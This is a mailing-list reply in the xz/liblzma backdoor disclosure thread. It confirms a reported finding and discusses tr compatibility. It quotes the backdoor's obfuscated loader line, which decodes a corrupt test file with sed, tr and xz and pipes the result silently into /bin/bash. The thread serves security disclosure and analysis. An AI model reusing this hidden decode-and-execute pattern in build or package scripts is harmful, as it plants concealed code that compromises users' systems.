Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Fri, 29 Mar 2024 21:33:57 +0100
Subject: Re: backdoor in upstream xz/liblzma leading to ssh
 server compromise

Hi Andres,

Thank you for sharing your findings, I'm able to reproduce your results.

 > which ends up as
 > ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 
\-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
 > Leaving out the "| bash" that produces
 > ####Hello####
 > [...]

The expression in the tr command might be a bit tricky to copy the 
report because of the whitespace characters. The original expression is 
found here:

This kind of expression is not supported by BusyBox' implementation of 
'tr'. GNU's and uutils' coreutils both worked for me.

Download attachment "OpenPGP_signature.asc" of type "application/pgp-signature" (841 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.